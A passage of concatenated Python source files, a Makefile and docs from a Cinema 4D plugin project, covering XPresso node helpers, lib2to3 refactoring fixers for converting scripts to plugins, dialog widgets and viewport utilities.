def Sized(self, w, h):
self.LayoutChanged()
def DrawMsg(self, x1, y1, x2, y2, msg):
self.OffScreenOn()
self.DrawSetPen(self._bgcol)
self.DrawRectangle(x1, y1, x2, y2)
self.DrawSetTextCol(self._fgcol, c4d.COLOR_TRANS)
if self._layout is None:
return
font = None
for line in self._layout:
for word in line:
if word.f != font:
font = word.f
self.DrawSetFont(font)
self.DrawText(word.t, word.x, word.y)
exports = FlowtextView
<file_sep>/lib/nr.types/tests/test_sumtype.py
from nose.tools import *
from nr.types import Sumtype
def test_sumtypes():
class Result(Sumtype):
Loading = Sumtype.Constructor('progress')
Error = Sumtype.Constructor('message')
Ok = Sumtype.Constructor('filename', 'load')
@Sumtype.MemberOf([Loading])
def alert(self):
return 'Progress: ' + str(self.progress)
static_error_member = Sumtype.MemberOf([Error], 'This is a member on Error!')
assert not hasattr(Result, 'Constructor')
assert not hasattr(Result, 'alert')
assert not hasattr(Result, 'static_error_member')
x = Result.Loading(0.5)
assert isinstance(x, Result)
assert x.is_loading()
assert not x.is_error()
assert not x.is_ok()
assert hasattr(x, 'alert')
assert not hasattr(x, 'static_error_member')
assert_equals(x.alert(), 'Progress: 0.5')
assert_equals(x.progress, 0.5)
<file_sep>/lib/nr.c4d/src/nr/c4d/gv.py
# The MIT License (MIT)
#
# Copyright (c) 2018 <NAME>
#
# Permission is hereby granted, free of charge, to any person obtaining a copy
# of this software and associated documentation files (the "Software"), to deal
# in the Software without restriction, including without limitation the rights
# to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
# copies of the Software, and to permit persons to whom the Software is
# furnished to do so, subject to the following conditions:
#
# The above copyright notice and this permission notice shall be included in all
# copies or substantial portions of the Software.
#
# THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
# IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
# FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
# AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
# LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
# OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
# SOFTWARE.
"""
Helpers to work with Cinema 4D XPresso Nodes (mostly GUI related).
"""
import c4d
from c4d.modules import graphview as gv
from .math import vbbmid
class GraphNode(object):
''' This class is a thin wrapper for the `c4d.modules.graphview.GvNode`
class providing an easy interface for accessing and modifieng the
visual appeareance of an XPresso node in the XPresso editor.
Currently, only accessing the position and size is supported.
'''
POS_X = 100
POS_Y = 101
VIEWPOS_X = 102
VIEWPOS_Y = 103
SIZE_X = 108
SIZE_Y = 109
FULLSCREENSIZE_X = 110
FULLSCREENSIZE_Y = 111
ZOOM = 104
VIEW = 105
VIEW_MINIMIZED = 0
VIEW_STANDART = 1
VIEW_EXTENDED = 2
VIEW_FULLSCREEN = 3
def __init__(self, node):
super(GraphNode, self).__init__()
self.node = node
container = node.GetDataInstance()
container = self.get_graphcontainer(container)
self.graphdata = container
def get_graphcontainer(self, container):
''' This method returns the container containing the graphdata for
the node in the XPresso grap based on the ``GvNode`` s container.
'''
data = container.GetContainerInstance(1001)
data = data.GetContainerInstance(1000)
return data
def get_sizeids(self):
if self.view == self.VIEW_EXTENDED:
id_x = self.FULLSCREENSIZE_X
id_y = self.FULLSCREENSIZE_Y
else:
id_x = self.SIZE_X
id_y = self.SIZE_Y
return (id_x, id_y)
@property
def position(self):
''' Returns the visual position of the node as c4d.Vector. '''
data = self.graphdata
x = data.GetReal(self.POS_X)
y = data.GetReal(self.POS_Y)
return c4d.Vector(x, y, 0)
@position.setter
def position(self, value):
data = self.graphdata
data.SetReal(self.POS_X, value.x)
data.SetReal(self.POS_Y, value.y)
@property
def view_position(self):
''' Returns the position of the "camera" that is "looking" onto the
nodes as c4d.Vector.
'''
data = self.graphdata
x = data.GetReal(self.VIEWPOS_X)
y = data.GetReal(self.VIEWPOS_Y)
return c4d.Vector(x, y, 0)
@view_position.setter
def view_position(self, value):
data = self.graphdata
data.SetReal(self.VIEWPOS_X, value.x)
data.SetReal(self.VIEWPOS_Y, value.y)
@property
def size(self):
''' Returns the visual size of the node as c4d.Vector. The container
IDs differ for extended and standart view mode. The size is
read/set according the to view mode the node is currently
assigned to.
'''
data = self.graphdata
id_x, id_y = self.get_sizeids()
x = data.GetReal(id_x)
y = data.GetReal(id_y)
return c4d.Vector(x, y, 0)
@size.setter
def size(self, value):
data = self.graphdata
id_x, id_y = self.get_sizeids()
data.SetReal(id_x, value.x)
data.SetReal(id_y, value.y)
@property
def zoom(self):
''' Returns the zoom of the XPresso nodes graphview. This value is
only has effect for XGroups. The zoom is a floating-point value,
100% represented as 1.0.
'''
return self.graphdata.GetReal(self.ZOOM)
@zoom.setter
def zoom(self, value):
self.graphdata.SetReal(self.ZOOM, value)
@property
def view(self):
''' Returns the type of view of the node. Either VIEW_MINIMIZED,
VIEW_STANDART, VIEW_EXTENDED or VIEW_FULLSCREEN.
Note: Still not sure how the locking is specified in the container,
it is however defined in the View section in the GUI.
'''
return self.graphdata.GetLong(self.VIEW)
@view.setter
def view(self, value):
self.graphdata.SetLong(self.VIEW, value)
def find_selected_nodes(root):
''' Finds the group of selected nodes in the XPresso Manager and returns
a list of GvNode objects.
'''
children = root.GetChildren()
selected = []
for child in children:
if child.GetBit(c4d.BIT_ACTIVE):
selected.append(child)
if not selected:
for child in children:
selected = find_selected_nodes(child)
if selected:
return selected
return selected
def find_nodes_mid(nodes):
''' Finds the mid-point of the passed list of
`c4dtools.misc.graphnode.GraphNode` instances.
'''
if not nodes:
return c4d.Vector(0)
vectors = [n.position for n in nodes]
return vbbmid(vectors)
<file_sep>/c4d_prototype_converter/refactor.py
# The MIT License (MIT)
#
# Copyright (c) 2018 <NAME>
#
# Permission is hereby granted, free of charge, to any person obtaining a copy
# of this software and associated documentation files (the "Software"), to deal
# in the Software without restriction, including without limitation the rights
# to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
# copies of the Software, and to permit persons to whom the Software is
# furnished to do so, subject to the following conditions:
#
# The above copyright notice and this permission notice shall be included in all
# copies or substantial portions of the Software.
#
# THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
# IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
# FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
# AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
# LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
# OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
# SOFTWARE.
"""
This module implements the core of converting Python scripts for the
Cinema 4D Script Manager, Python Generator or Expression Tags to actual
Python Plugins.
"""
from __future__ import print_function
from lib2to3.fixer_base import BaseFix
from lib2to3.fixer_util import Leaf, Node, BlankLine, find_indentation
from lib2to3.patcomp import PatternCompiler
from lib2to3.pgen2 import token
from lib2to3.pgen2.parse import ParseError
from lib2to3.pygram import python_symbols
from lib2to3 import refactor
class RefactoringTool(refactor.RefactoringTool):
def get_fixers(self):
pre_order_fixers = []
post_order_fixers = []
for fixer_cls in self.fixers:
fixer = fixer_cls(self.options, self.fixer_log)
if fixer.order == 'pre':
pre_order_fixers.append(fixer)
elif fixer.order == 'post':
post_order_fixers.append(fixer)
else:
raise refactor.FixerError('Illegal fixer order: {!r}'.format(fixer.order))
key_func = lambda x: x.run_order
pre_order_fixers.sort(key=key_func)
post_order_fixers.sort(key=key_func)
return (pre_order_fixers, post_order_fixers)
def refactor_string(fixers, code, filename='<string>'):
rt = RefactoringTool(fixers)
code = code.rstrip() + '\n' # ParseError without trailing newline
return rt.refactor_string(code, filename)
class DelayBindBaseFix(BaseFix):
def __init__(self):
self.options = None
self.log = None
def __call__(self, options, log):
super(DelayBindBaseFix, self).__init__(options, log)
return self
class FixFunctionDef(DelayBindBaseFix):
"""
Used to adapt a function definition by changing its name and parameter
list. Additionally, *remove* can be set to #True in order to remove any
matching occurences and store them in the #results list instead.
This fixer only matches global function defs.
"""
PATTERN = "funcdef< 'def' name='{}' any* >"
def __init__(self, funcname, newname, pre_params=None, post_params=None,
remove=False, add_statement=None):
super(FixFunctionDef, self).__init__()
self.PATTERN = self.PATTERN.format(funcname)
self.funcname = funcname
self.newname = newname
self.pre_params = pre_params or []
self.post_params = post_params or []
self.remove = remove
self.add_statement = add_statement
self.results = []
def transform(self, node, results):
# Determine the node's column number by finding the first leaf.
leaf = node
while not isinstance(leaf, Leaf):
leaf = leaf.children[0]
# Only match functions and the global indentation level.
if leaf.column != 0:
return
indent = None
for child in node.children:
if isinstance(child, Node) and child.type == python_symbols.suite:
indent = find_indentation(child)
if isinstance(child, Leaf) and child.type == token.NAME and child.value == self.funcname:
child.value = self.newname
elif isinstance(child, Node) and child.type == python_symbols.parameters:
pre_params = []
for param in self.pre_params:
pre_params.append(Leaf(token.NAME, param))
pre_params.append(Leaf(token.COMMA, ', '))
child.children[1:1] = pre_params
post_params = []
for param in self.post_params:
post_params.append(Leaf(token.COMMA, ','))
post_params.append(Leaf(token.NAME, param))
child.children[-1:-1] = post_params
if child.children[-2].type == token.COMMA:
child.children.pop(-2)
child.changed()
if self.add_statement:
node.children.append(Leaf(0, indent + self.add_statement.rstrip() + '\n'))
if self.remove:
self.results.append(node)
node.replace([])
return None
else:
return node
class FixIndentation(DelayBindBaseFix):
# Code from http://python3porting.com/fixers.html#modifying-the-parse-tree
def __init__(self, new_indent):
self.indents = []
self.compounds = []
self.line = 0
self.new_indent = new_indent
def match(self, node):
if isinstance(node, Leaf):
return True
return False
def _update_prefix(self, prefix, indent_width, add_indent=True):
indent = self.new_indent * indent_width
prefix_lines = [x.strip() for x in prefix.split('\n')[:-1]]
prefix_lines = [(indent + x) if x else '' for x in prefix_lines]
if add_indent:
prefix_lines.append(indent)
else:
prefix_lines.append('')
return '\n'.join(prefix_lines)
def transform(self, node, results):
if node.type == token.INDENT:
self.line = node.lineno
self.indents.append(len(node.value))
new_indent = self.new_indent * len(self.indents)
new_prefix = self._update_prefix(node.prefix, len(self.indents), False)
if node.value != new_indent or new_prefix != node.prefix:
node.value = new_indent
node.prefix = new_prefix
return node
elif node.type == token.DEDENT:
self.line = node.lineno
if node.column == 0:
self.indents = []
else:
level = self.indents.index(node.column)
self.indents = self.indents[:level+1]
if node.prefix:
# During INDENT's the indentation level is
# in the value. However, during OUTDENT's
# the value is an empty string and then
# indentation level is instead in the last
# line of the prefix. So we remove the last
# line of the prefix and add the correct
# indententation as a new last line.
new_prefix = self._update_prefix(node.prefix, len(self.indents))
if node.prefix != new_prefix:
node.prefix = new_prefix
# Return the modified node:
return node
elif node.type in (token.LPAR, token.LBRACE, token.LSQB): # (, {, [
self.compounds.append(node.type)
elif node.type in (token.RPAR, token.RBRACE, token.RSQB): # ), }, ]
m = {token.RPAR: token.LPAR, token.RBRACE: token.LBRACE, token.RSQB: token.LSQB}
assert self.compounds[-1] == m[node.type], (self.compounds[-1], node.type)
self.compounds.pop()
if self.line != node.lineno: # New line
self.line = node.lineno
if not self.indents:
return None # First line, do nothing
elif node.prefix:
# Continues the same indentation
# This lines intentation is the last line
# of the prefix, as during DEDENTS. Remove
# the old indentation and add the correct
# indententation as a new last line.
new_prefix = self._update_prefix(node.prefix, len(self.indents) + len(self.compounds))
if node.prefix != new_prefix:
node.prefix = new_prefix
# Return the modified node:
return node
return None
class FixStripFutureImports(DelayBindBaseFix):
PATTERN = '''
import_from< 'from' module_name="__future__" 'import' any >
'''
def __init__(self):
self.imports = []
@property
def future_line(self):
if self.imports:
return 'from __future__ import {}'.format(', '.join(self.imports))
else:
return None
def transform(self, node, results):
passed_import = False
for child in node.children:
if isinstance(child, Leaf) and child.type == token.NAME and child.value == 'import':
passed_import = True
continue
if not passed_import:
continue
if isinstance(child, Node) and child.type == python_symbols.import_as_names:
# from x import a, b
for leaf in child.children:
if leaf.type == token.NAME and leaf.value not in self.imports:
self.imports.append(leaf.value)
elif isinstance(child, Leaf) and child.type == token.NAME:
# from x import a
if child.value not in self.imports:
self.imports.append(child.value)
new = BlankLine()
new.prefix = node.prefix
return new
class FixStripDocstrings(DelayBindBaseFix):
"""
Strips module docstrings.
"""
def __init__(self):
self.docstring = None
def match(self, node):
return True
def transform(self, node, results):
if isinstance(node, Node) and node.type == python_symbols.file_input:
for child in node.children:
if child.type == python_symbols.simple_stmt:
if child.children and child.children[0].type == token.STRING:
self.docstring = child.children[0].value
child.replace(BlankLine())
class FixUserDataAccess(DelayBindBaseFix):
PATTERN = """
subscriptlist<
power<
'c4d'
trailer<'.' 'ID_USERDATA'>
>
','
any
>
"""
def __init__(self, subfun):
assert callable(subfun)
self.subfun = subfun
def transform(self, node, result):
if len(node.children) == 3 and node.children[-1].type == token.NUMBER:
userdata_id = int(node.children[-1].value)
replacement = self.subfun(userdata_id)
if replacement:
new = Node(python_symbols.subscriptlist, [Leaf(token.NAME, replacement)])
return new
return None
class FixStripMainCheck(DelayBindBaseFix):
PATTERN = """
if_stmt<
'if' comparison< '__name__' '==' '\\'__main__\\'' > ':' any*
>
|
if_stmt<
'if' comparison< '__name__' '==' '"__main__"' > ':' any*
>
"""
PATTERN_MAIN = PatternCompiler().compile_pattern('''
power< 'main' trailer< '(' ')' > >
''')
def transform(self, node, result):
suite = next((x for x in node.children if x.type == python_symbols.suite), None)
if not suite: return
statements = [x for x in suite.children if x.type == python_symbols.simple_stmt]
if len(statements) != 1: return
if not self.PATTERN_MAIN.match(statements[0].children[0], {}): return
return BlankLine()
def strip_empty_lines(string):
lines = []
for line in string.split('\n'):
if not lines and (not line or line.isspace()): continue
lines.append(line)
while lines and (not lines[-1] or lines[-1].isspace()):
lines.pop()
return '\n'.join(lines)
def split_docstring(code):
fixer = FixStripDocstrings()
return str(refactor_string([fixer], code)), strip_empty_lines(fixer.docstring or '')
def split_future_imports(code):
fixer = FixStripFutureImports()
return str(refactor_string([fixer], code)), strip_empty_lines(fixer.future_line or '')
def split_and_refactor_global_function(code, func_name, new_func_name=None,
prepend_args=None, append_args=None, add_statement=None):
fixer = FixFunctionDef(func_name, new_func_name, prepend_args, append_args,
True, add_statement)
code = str(refactor_string([fixer], code))
functions = '\n'.join(strip_empty_lines(str(x)) for x in fixer.results)
return strip_empty_lines(code), functions
def strip_main_check(code):
return refactor_string([FixStripMainCheck()], code)
def fix_userdata_access(code, subfun):
"""
Replace occurences of `[c4d.ID_USERDATA, X]` with a replacement `[Y]`
where `Y = subfun(X)`.
"""
fixer = FixUserDataAccess(subfun)
return str(refactor_string([fixer], code))
def indentation(code, indent):
fixer = FixIndentation(indent)
return str(refactor_string([fixer], code))
<file_sep>/lib/nr.types/src/nr/types/meta.py
# The MIT License (MIT)
#
# Copyright (c) 2018 <NAME>
#
# Permission is hereby granted, free of charge, to any person obtaining a copy
# of this software and associated documentation files (the "Software"), to deal
# in the Software without restriction, including without limitation the rights
# to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
# copies of the Software, and to permit persons to whom the Software is
# furnished to do so, subject to the following conditions:
#
# The above copyright notice and this permission notice shall be included in all
# copies or substantial portions of the Software.
#
# THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
# IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
# FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
# AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
# LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
# OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
# SOFTWARE.
def get_staticmethod_func(cm):
"""
Returns the function wrapped by the #staticmethod *cm*.
"""
if hasattr(cm, '__func__'):
return cm.__func__
else:
return cm.__get__(int)
def mro_resolve(name, bases, dict):
"""
Given a tuple of baseclasses and a dictionary that takes precedence
over any value in the bases, finds a value with the specified *name*
and returns it. Raises #KeyError if the value can not be found.
"""
if name in dict:
return dict[name]
for base in bases:
if hasattr(base, name):
return getattr(base, name)
try:
return mro_resolve(name, base.__bases__, {})
except KeyError:
pass
raise KeyError(name)
class InlineMetaclass(type):
"""
This is the metaclass for the #InlineMetaclassConstructor base class. It will
call the special methods `__metanew__()` and `__metainit__()` of the
constructed class. This avoids creating a new metaclass and allows to put the
meta-constructor code in the same class.
Note that the implementation does not take multiple inheritance into
account and will simply call the first method found in the MRO.
```python
class MyClass(metaclass=InlineMetaclass):
def __metanew__(meta, name, bases, dict):
# Do the stuff you would usually do in your metaclass.__new__()
return super(InlineMetaclass, meta).__new__(meta, name, bases, dict)
def __metainit__(cls, name, bases, dict):
# Do the stuff you would usually do in your metaclass.__init__()
pass
```
"""
def __new__(cls, name, bases, dict):
# Make sure the __metanew__() and __metainit__() functions
# are classmethods.
if '__metanew__' in dict:
dict['__metanew__'] = staticmethod(dict['__metanew__'])
if '__metainit__' in dict:
dict['__metainit__'] = staticmethod(dict['__metainit__'])
# TODO: Py3k: Add the `__class__` cell to the metanew and metainit
# methods so that super() can be used.
# Call the __metanew__() method if available.
try:
metanew = mro_resolve('__metanew__', bases, dict)
except KeyError:
return super(InlineMetaclass, cls).__new__(cls, name, bases, dict)
else:
if isinstance(metanew, staticmethod):
metanew = get_staticmethod_func(metanew)
return metanew(cls, name, bases, dict)
def __init__(self, name, bases, dict):
try:
metainit = getattr(self, '__metainit__')
except AttributeError:
pass
else:
return metainit(name, bases, dict)
# This is an instance of the :class:`InlineMetaclass` that can
# be subclasses to inherit the metaclass functionality. We do
# this for Python 2/3 compatibility.
InlineMetaclassBase = InlineMetaclass('InlineMetaclassBase', (), {})
<file_sep>/lib/nr.c4d/src/nr/c4d/ui/__init__.py
from .native import *
<file_sep>/Makefile
.PHONY: default
default:
@echo "available commands:"
@echo " clean"
@echo " dist"
clean:
rm -v $(shell find -iname *.pyc)
dist:
c4ddev pypkg
tar -cvzf c4d_prototype_converter-$(shell git describe --tags).tar.gz \
--exclude *.pyc --exclude *.afdesign \
c4d_prototype_converter bootstrapper.pyp lib*.egg README.md LICENSE.txt
<file_sep>/lib/nr.c4d/src/nr/c4d/ui/native/dialog.py
# Copyright (c) 2017 <NAME>
#
# Permission is hereby granted, free of charge, to any person obtaining a copy
# of this software and associated documentation files (the "Software"), to deal
# in the Software without restriction, including without limitation the rights
# to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
# copies of the Software, and to permit persons to whom the Software is
# furnished to do so, subject to the following conditions:
#
# The above copyright notice and this permission notice shall be included in
# all copies or substantial portions of the Software.
#
# THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
# IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
# FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
# AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
# LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
# OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN
# THE SOFTWARE
__all__ = ['DialogWindow']
import c4d
import sys
from .manager import WidgetManager
from .widgets import load_xml_string, load_xml_file
from . import widgets
class DialogWindow(c4d.gui.GeDialog):
def __init__(self, root=None, title=None, menubar=True):
c4d.gui.GeDialog.__init__(self)
if not menubar:
self.AddGadget(c4d.DIALOG_NOMENUBAR, 0)
self.widgets = WidgetManager(self)
self.root = root or widgets.Group()
self.root.manager = self.widgets
self._title = title or ''
self._layout_changed_items = set()
self._layout_changed_queued = False
@property
def title(self):
return self._title
@title.setter
def title(self, title):
self._title = str(title)
if self.IsOpen():
self.SetTitle(self._title)
def update_layout(self):
"""
Must be called after modifications to the dialog widgets to update
existing widgets and render new ones.
"""
self.widgets.update(self.root)
def register_opener_command(self, pluginid, title, help='', flags=0, icon=None):
"""
Registers a Cinema 4D CommandData plugin that opens this dialog.
"""
if isinstance(icon, str):
bmp = c4d.bitmaps.BaseBitmap()
bmp.InitWith(icon)
icon = bmp
cmd = DialogOpenerCommand(pluginid, self)
c4d.plugins.RegisterCommandPlugin(pluginid, title, flags, icon, help, cmd)
return cmd
def load_xml_string(self, xml, globals=None, _stackframe=0):
"""
Loads an XML user interface from the string *xml*. If *globals* is
specified, it must be a dictionary that contains the view classes that
can be used as views in the XML string. The default widgets are always
available.
"""
self.root = load_xml_string(xml, globals, _stackframe=_stackframe+1)
self.root.manager = self.widgets
def load_xml_file(self, filename, globals=None, _stackframe=0):
"""
Like #load_xml_string() but from a file-object or filename.
"""
self.root = load_xml_file(filename, globals, _stackframe=_stackframe+1)
self.root.manager = self.widgets
def get_color(self, colorid):
c = self.GetColorRGB(colorid)
return c4d.Vector(c['r'] / 255., c['g'] / 255., c['b'] / 255.)
def set_color(self, param_id, colorid, color=None):
if color is None:
color = self.get_color(colorid)
self.SetDefaultColor(param_id, colorid, color)
def queue_layout_changed(self, param_id):
self._layout_changed_items.add(param_id)
if not self._layout_changed_queued:
def worker():
items = list(self._layout_changed_items)
self._layout_changed_items.clear()
for item in items:
self.LayoutChanged(item)
self._layout_changed_queued = False
self.widgets.queue(worker)
self._layout_changed_queued = True
# c4d.gui.GeDialog overrides
def CreateLayout(self):
self.SetTitle(self._title)
self.root.on_render_begin()
self.root.render(self)
self.widgets.layout_changed()
self.update_layout()
self.widgets.process_queue()
return True
def InitValues(self):
self.root.init_values(self)
self.widgets.layout_changed()
self.update_layout()
self.widgets.process_queue()
return True
def Command(self, id, msg):
self.widgets.process_queue()
result = self.root.command_event(id, msg)
self.update_layout()
self.widgets.process_queue()
return result
def InputEvent(self, msg):
self.widgets.process_queue()
result = self.root.input_event(msg)
self.widgets.process_queue()
self.update_layout()
return result
def CoreMessage(self, evid, bc):
self.widgets.process_queue()
return c4d.gui.GeDialog.CoreMessage(self, evid, bc)
def DestroyWindow(self):
self.widgets.process_queue()
self.root.save_state()
class DialogOpenerCommand(c4d.plugins.CommandData):
def __init__(self, plugin_id, dialog):
c4d.plugins.CommandData.__init__(self)
self.plugin_id = plugin_id
self.dialog = dialog
def Execute(self, doc):
return self.dialog.Open(c4d.DLG_TYPE_ASYNC, self.plugin_id)
def RestoreLayout(self, secret):
return self.dialog.Restore(self.plugin_id, secret)
def Register(self, name, info=0, icon=None, help=''):
return c4d.plugins.RegisterCommandPlugin(
self.plugin_id, name, info, icon, help, self)
<file_sep>/lib/nr.c4d/src/nr/c4d/ui/utils/calculate.py
# Copyright (c) 2017 <NAME>
#
# Permission is hereby granted, free of charge, to any person obtaining a copy
# of this software and associated documentation files (the "Software"), to deal
# in the Software without restriction, including without limitation the rights
# to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
# copies of the Software, and to permit persons to whom the Software is
# furnished to do so, subject to the following conditions:
#
# The above copyright notice and this permission notice shall be included in
# all copies or substantial portions of the Software.
#
# THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
# IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
# FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
# AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
# LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
# OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN
# THE SOFTWARE
def calc_bitmap_size(inw, inh, width=None, height=None, fill=False):
"""
Calulcates the size of a bitmap that is scaled uniformly to match the
specified *width* or *height*. If both *widht* and *height* are specified,
the size is scaled among the larger axis if *fill* is #True, otherwise it
will be scaled along the shorter axis.
"""
if width is not None and height is not None:
if (fill and inw > inh) or (not fill and inw <= inh):
height = None # calculate based on width
else:
width = None # calculate based on height
if inw <= 0 or inh <= 0:
return 0, 0
if width is not None:
assert height is None
result = width, width * (float(inh) / inw)
elif height is not None:
result = height * (float(inw) / inh), height
else:
result = (inh, inw)
return result
<file_sep>/lib/nr.c4d/docs/nr.c4d.menuparser.md
## MenuParser
This module implements parsing a menu resources and rendering them
into a dialog. The following is an example resource file:
MENU MENU_FILE {
MENU_FILE_OPEN;
MENU_FILE_SAVE;
--------------; # Adds a separator.
COMMAND COMMAND_ID; # Uses GeDialog.MenuAddCommand().
COMMAND 5159; # Same here.
# Create a sub-menu.
MENU MENU_FILE_RECENTS {
# Will be filled programatically later in the example.
}
}
# More menus may follow ...
This file can be parsed into a `MenuContainer` and then rendered into a
dialog like this:
```python
with localimport('lib') as _importer:
import res # generated with `c4ddev symbols`
from nr.c4d import menuparser
menu = menuparser.parse_file(res.path('res/menu/mainmenu.menu')
# Render the menu into the dialog.
my_dialog.MenuFlushAll()
menu.render(my_dialog, res)
my_dialog.MenuFinished()
```
Before the menu is rendered into the dialog, it can be modified
programmatically.
```python
recents = menu.find_node(res.MENU_FILE_RECENTS)
for i, fn in get_recent_files(): # arbitrary function
node = menuparser.MenuItem(RECENT_FILES_ID_BEGIN + i, str(fn))
recents.add(node)
```
<file_sep>/lib/nr.c4d/src/nr/c4d/utils.py
# The MIT License (MIT)
#
# Copyright (c) 2018 <NAME>
#
# Permission is hereby granted, free of charge, to any person obtaining a copy
# of this software and associated documentation files (the "Software"), to deal
# in the Software without restriction, including without limitation the rights
# to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
# copies of the Software, and to permit persons to whom the Software is
# furnished to do so, subject to the following conditions:
#
# The above copyright notice and this permission notice shall be included in all
# copies or substantial portions of the Software.
#
# THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
# IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
# FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
# AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
# LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
# OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
# SOFTWARE.
''' Common utility functions related to the Cinema 4D API. '''
import c4d
import warnings
try:
from nr.types.map import HashDict as _HashDict, OrderedDict
except ImportError as exc:
class _HashDict:
exc = exc
def __init__(self):
raise self.exc
class OrderedDict:
exc = exc
def __init__(self):
raise self.exc
def serial_info():
'''
Retrieve the serial information for the current instance of
Cinema 4D.
return (tuple of (dict, bool)):
The serial info dictionary and a boolean that indicates if this is a
multi license.
'''
is_multi = True
sinfo = c4d.GeGetSerialInfo(c4d.SERIALINFO_MULTILICENSE)
if not sinfo['nr']:
is_multi = False
sinfo = c4d.GeGetSerialInfo(c4d.SERIALINFO_CINEMA4D)
return sinfo, is_multi
def flush_console():
''' Flush the Cinema 4D scripting console. '''
c4d.CallCommand(13957)
def update_viewport():
'''
Shortcut for using #c4d.DrawViews() to update the Cinema 4D viewport. Check
the source code for the flags that are passed to the function.
'''
return c4d.DrawViews(
c4d.DRAWFLAGS_ONLY_ACTIVE_VIEW | c4d.DRAWFLAGS_NO_THREAD |
c4d.DRAWFLAGS_NO_REDUCTION | c4d.DRAWFLAGS_STATICBREAK)
def walk_hierarchy(node, yield_depth=False, _depth=0):
'''
Iterator for walking over the hierarchy of a :class:`c4d.BaseList2D`
node. *node* can also be a list, in which case all items of the list are
walked. If *yield_depth* is True, a tuple with the second item being
the index of the depth is yielded instead of only the nodes.
```python
for obj in walk_hierarchy(doc.GetObjects()):
print(obj.GetName())
```
node (c4d.BaseList2D, list of c4d.BaseList2D):
yield_depth (bool):
#True if you want the generator to yield `(node, depth)` tuples,
otherwise it will just yield the `node`.
return (generator):
A generator yielding the nodes of the hierarchy, or tuples of such.
'''
if isinstance(node, c4d.C4DAtom):
if yield_depth:
yield node, _depth
else:
yield node
for child in node.GetChildren():
for __ in walk(child, yield_depth, _depth + 1):
yield __
else:
for node in node:
for __ in walk(node, yield_depth, _depth + 1):
yield __
def walk_timeline(doc, start, end, update=True):
'''
Iterate over each frame in the document from *start* to *end* and yield the
current frame number while redrawing the viewport if *update* is True. The
document time will be reset to the original time at the end of the iteration.
```python
for frame in iter_timeline(doc, 0, 100):
pass # process current frame here
```
doc (c4d.BaseDocument):
start (c4d.BaseTime, int): The start time, either as time or frame number.
end (c4d.BaseTime, int): The end time, either as time or frame number.
update (bool):
If #True, the viewport is updated with #update_viewport() and
#c4d.GeSyncMessage before the current frame number is passed to the
caller. This is usually desired.
'''
fps = doc.GetFps()
time = doc.GetTime()
if isinstance(start, c4d.BaseTime):
start = start.GetFrame(fps)
if isinstance(end, c4d.BaseTime):
end = end.GetFrame(fps)
for frame in xrange(start, end + 1):
doc.SetTime(c4d.BaseTime(frame, fps))
if update:
update_viewport()
c4d.GeSyncMessage(c4d.EVMSG_TIMECHANGED)
yield frame
doc.SetTime(time)
if update:
update_viewport()
c4d.GeSyncMessage(c4d.EVMSG_TIMECHANGED)
def walk_container(bc):
